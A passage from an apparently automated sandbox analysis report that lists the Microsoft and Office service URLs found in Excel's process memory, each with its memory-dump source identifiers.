    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://settings.outlook.com
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://shell.suite.office.com:1443
    Source: EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://skyapi.live.net/Activity/
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://staging.cortana.ai
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://staging.cortana.ai.c
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
    Source: EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmpString found in binary or memory: https://store.office.cn/addinste
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://store.office.cn/addinstemplate
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://store.office.de/addinstemplate
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://store.office.de/addinstemplateu
    Source: EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.com
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.com/
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.com/Todo-Internal.ReadWrite
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://substrate.office.com/search/api/v2/init
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.com6
    Source: EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://substrate.office.comP
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://tasks.office.com
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://tellmeservice.osi.office.netst
    Source: EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmpString found in binary or memory: https://token.cp.micr9
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.htmlQ
    Source: EXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
    Source: EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://web.microsoftstream.com/video/
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
    Source: EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://webshell.suite.office.com
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios2db8
    Source: EXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://wus2.contentsync.
    Source: EXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://wus2.pagecontentsync.
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 